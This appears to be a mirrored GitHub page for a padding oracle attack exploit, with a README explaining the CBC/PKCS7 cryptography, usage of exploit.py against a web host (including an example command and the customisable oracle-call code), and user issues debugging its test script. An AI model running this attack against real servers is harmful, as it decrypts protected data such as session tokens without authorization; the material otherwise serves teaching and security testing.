Giter Club home page Giter Club logo

padding-oracle-attack's Introduction

Padding Oracle Attack

An exploit for the Padding Oracle Attack. Tested against ASP.NET, works like a charm. The CBC mode must use PKCS7 for the padding block. This is an implementation of this great article Padding Oracle Attack. Since the article is not very well formated and maybe unclear, I made an explanation in the readme. I advise you to read it if you want to understand the basics of the attack. This exploit allows block sizes of 8 or 16. This means it can be used if the cipher uses AES or DES. You can find instructions to launch the attack here.

I also made a test file test.py, you don't need a target to use it :)

Explanation

I will explain in this part the cryptography behind the attack. To follow this you need to understand the CBC mode cipher chainning or video link and the operator ⊕. This attack is also a chosen-ciphertext attack.

Encryption Decryption
Ci = Ek(Pi ⊕ Ci-1), and C0 = IV Pi = Dk(Ci) ⊕ Ci-1, and C0 = IV

In CBC mode we also need a padding in the case the length of the plaintext doesn't fill all the block. For example we can have this plaintext and the following padding if the length of the block is 8 :

S|E|C|R|E|T| |M|E|S|S|A|G|E|02|02

You can notice the length of SECRET MESSAGE is 14 so we need to fill two blocks of CBC equal 16. There are two bytes left, this is where the padding step in. You can see the two last byte 0202. Another example, if the padding had a length of 5, it will be fill with 05|05|05|05|05. Of course there is different way to fill the padding but in our case like most of the case the standard is PKCS7 for the padding block.

If the padding does not match the PKCS7 standard it will produce an error. Example :

S|E|C|R|E|T| |M|E|S|S|A|G|E|03|03

When the block will be deciphered there will be a verification to check if the padding is good or not :

S|E|C|R|E|T| |M|E|S|S|A|G|E|03|03 => Wrong padding
S|E|C|R|E|T| |M|E|S|S|A|G|E|02|02 => Good padding

Now imagine we can know when we have a bad padding and a good padding (the server send an "error padding" or "404 not found" when the padding is wrong etc). We will call this our Oracle. The answers he will give us will be :

  • good padding
  • bad padding

Now we know that, we can construct a block to retrieve one byte of the plaintext, don't forget this is a chosen-ciphertext attack. An attacker will intercept a cipher text and retrieve byte by byte the plaintext.

  • intercepted cipher : C0 | C... | Ci-1 | Ci
  • then build a block like this :

C'i-1 = Ci-1 ⊕ 00000001 ⊕ 0000000X | Ci

Where X is a char between chr(0-256).

  • then he sends C'i-1 | Ci to the oracle. The oracle will decrypt like this :

Dk(Ci) ⊕ C'i-1
= Dk(Ci) ⊕ Ci-1 ⊕ 00000001 ⊕ 0000000X
= Pi ⊕ 00000001 ⊕ 0000000X

Now there is two possibilities: a padding error or not :

  • if we have a padding error :
If P'i ⊕ 0000000Y == abcdefg5 then:
    abcdefg0 ⊕ 00000001 = abcdefg5

This is a wrong padding, so we can deduce the byte Y is wrong.

  • The oracle didn't give us a padding error and we know the byte X is good :
If Pi ⊕ 0000000X == abcdefg0 then:
    abcdefg0 ⊕ 00000001 = abcdefg1

For the second byte :

C'i-1 = Ci-1 ⊕ 00000022 ⊕ 000000YX | Ci

And then :

Dk(Ci) ⊕ C'i-1
= Dk(Ci) ⊕ Ci-1 ⊕ 00000022 ⊕ 000000YX
= Pi ⊕ 00000001 ⊕ 00000YX

  • The oracle didn't give us a padding error and we know the byte X is good :
If Pi ⊕ 000000YX == abcdef00 then:
    abcdef00 ⊕ 00000022 = abcdef22

etc etc for all the block. You can now launch the python script by reading the next section :)

Protection

Options

The test file if you don't have target :

python test.py -m mysecretmessage

The exploit :

usage: exploit.py [-h] -c CIPHER -l LENGTH_BLOCK_CIPHER --host HOST -u
                  URLTARGET --error ERROR [--cookie COOKIE]
                  [--method METHOD] [--post POST] [-v]

Details required options:

-h help
-c cipher chain
-l length of a block example: 8 or 16
-u UrlTarget for example: ?/page=
--host hostname example: google.fr
--error Error that the oracle gives you for a wrong padding
    example: with HTTP method: 200,400,500
             with DOM HTML   : "<h2>Padding Error</h2>"

Optional options:

--cookie Cookie parameter example: PHPSESSID=9nnvje7p90b507shfmb94d7
--method Default GET method but can set POST etc
--post POST parameter if you need example 'user':'value', 'pass':'value'

Example:

python exploit.py -c E3B3D1120F999F4CEF945BA8B9326D7C3C8A8B02178E59AF506666542AB5EF44 -l 16 --host host.com -u /index.aspx?c= -v --error "Padding Error"

Customisation

I wan to customize the Oracle !

Example with sockets https://gist.github.com/mpgn/fce3c3f2aaa2eeb8fac5

No problem, find these line and do what you have to do :)

  • Custom oracle response:
#######################################
# CUSTOMIZE YOUR RESPONSE ORACLE HERE #
#######################################
''' The function you want change to adapt the result to your problem '''
def test_validity(response,error):
    try:
        value = int(error)
        if int(response.status) == value:
            return 1
    except ValueError:
        pass  # it was a string, not an int.

    # oracle repsonse with data in the DOM
    data = response.read()
    if data.find(error) == -1:
        return 1
    return 0
  • Custom oracle call (HTTP)
###################################
# CUSTOMIZE YOUR ORACLE HTTP HERE #
###################################
def call_oracle(host,cookie,url,post,method,up_cipher):
    if post:
        params = urllib.urlencode({post})
    else:
        params = urllib.urlencode({})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain", 'Cookie': cookie}
    conn = httplib.HTTPConnection(host)
    conn.request(method, url + up_cipher, params, headers)
    response = conn.getresponse()
    return conn, response

padding-oracle-attack's People

Contributors

julesdt avatar le4ker avatar mpgn avatar towynlin avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

padding-oracle-attack's Issues

run method test.py iv value

Did you mean to not set the value of iv when calling call_oracle on line 146? When I run test.py, the oracle appears to work but when I run test.py using data that I encrypted with a different program, your oracle does not work.

When I started tracing your app, the call of

error = call_oracle(up_cipher, iv)

on line 146 of the run method, iv is never set within the run method. Therefore, at least in my instance, it was using the value of iv returned on line 251 in test.py

cipher, iv = encrypt(bytearray(args.message, "UTF-8"), b"1234567812345678")

Given that the encrypt and decrypt commands use the same key that is hardcoded, if you pass the same iv that was used to encrypt in the first place since it was never defined, the resulting call to decrypt from call_oracle ends up just passing the original iv and key which should always result in a correct decryption right?

Optional -urltarget

Hi! Seems like a really great tool. However, let's say i don't need to have a urltarget and attacking the host address is enough, what do I input for the -urltarget parameters?

SQLCipher Database

Can this be used to get the key of a database (db extension) which has been encrypted with SQLCipher?
If so, how could I do it?

Shouldn't test.py add the IV to the ciphertext?

Hi, the readme suggests running python test.py -m mysecretmessage to test the package, but this doesn't work because the cipher given to run does not include the IV:

cipher, iv = encrypt(bytearray(args.message, "UTF-8"), b"1234567812345678")
print("[+] %s ---> %s" % (args.message, cipher.hex()))
plaintext = decrypt(cipher, iv)
run(cipher.hex(), 16)

I think an oracle usually assumes that the ciphertext includes the IV as the first block? This is just a nuance of the test file, which allows the user to pass a plaintext message, which test.py encrypts with a fixed IV, before passing it to run.

Prepending the IV to the cipher passed to run resolves this:

run(iv.hex() + cipher.hex(), 16)

and recovers the entire plaintext:

$ python test.py -m mysecretmessage
[+] Encrypt mysecretmessage
[+] mysecretmessage ---> fc6df3bb5a6995d6ffa35c8df315a4c6
[+] Search value block :  1

[+] Found 2 bytes : 6501

[+] Found 3 bytes : 676501

[+] Found 4 bytes : 61676501

[+] Found 5 bytes : 7361676501

[+] Found 6 bytes : 737361676501

[+] Found 7 bytes : 65737361676501

[+] Found 8 bytes : 6d65737361676501

[+] Found 9 bytes : 746d65737361676501

[+] Found 10 bytes : 65746d65737361676501

[+] Found 11 bytes : 7265746d65737361676501

[+] Found 12 bytes : 637265746d65737361676501

[+] Found 13 bytes : 65637265746d65737361676501

[+] Found 14 bytes : 7365637265746d65737361676501

[+] Found 15 bytes : 797365637265746d65737361676501

[+] Found 16 bytes : 6d797365637265746d65737361676501


[+] Decrypted value (HEX): 6D797365637265746D65737361676501
[+] Decrypted value (ASCII): mysecretmessage

Although perhaps it would be better to show in the printed message that the IV is being prepended:

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description="Exploit of Padding Oracle Attack")
    parser.add_argument("-m", "--message", required=True, help="message to pown")
    parser.add_argument(
        "-v",
        "--verbose",
        help="debug mode, you need a large screen",
        action="store_true",
    )
    args = parser.parse_args()

    iv = b"1234567812345678"

    print("[+] Encrypt", args.message, "with IV", iv)
    cipher, iv = encrypt(bytearray(args.message, "UTF-8"), iv)

    print("[+] Ciphertext ---> %s" % (iv.hex() + cipher.hex()))
    plaintext = decrypt(cipher, iv)


    run(iv.hex() + cipher.hex(), 16)
$ python test.py -m mysecretmessage
[+] Encrypt mysecretmessage with IV b'1234567812345678'
[+] Ciphertext ---> 31323334353637383132333435363738fc6df3bb5a6995d6ffa35c8df315a4c6
[+] Search value block :  1

[+] Found 2 bytes : 6501

[+] Found 3 bytes : 676501

[+] Found 4 bytes : 61676501

[+] Found 5 bytes : 7361676501

[+] Found 6 bytes : 737361676501

[+] Found 7 bytes : 65737361676501

[+] Found 8 bytes : 6d65737361676501

[+] Found 9 bytes : 746d65737361676501

[+] Found 10 bytes : 65746d65737361676501

[+] Found 11 bytes : 7265746d65737361676501

[+] Found 12 bytes : 637265746d65737361676501

[+] Found 13 bytes : 65637265746d65737361676501

[+] Found 14 bytes : 7365637265746d65737361676501

[+] Found 15 bytes : 797365637265746d65737361676501

[+] Found 16 bytes : 6d797365637265746d65737361676501


[+] Decrypted value (HEX): 6D797365637265746D65737361676501
[+] Decrypted value (ASCII): mysecretmessage

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.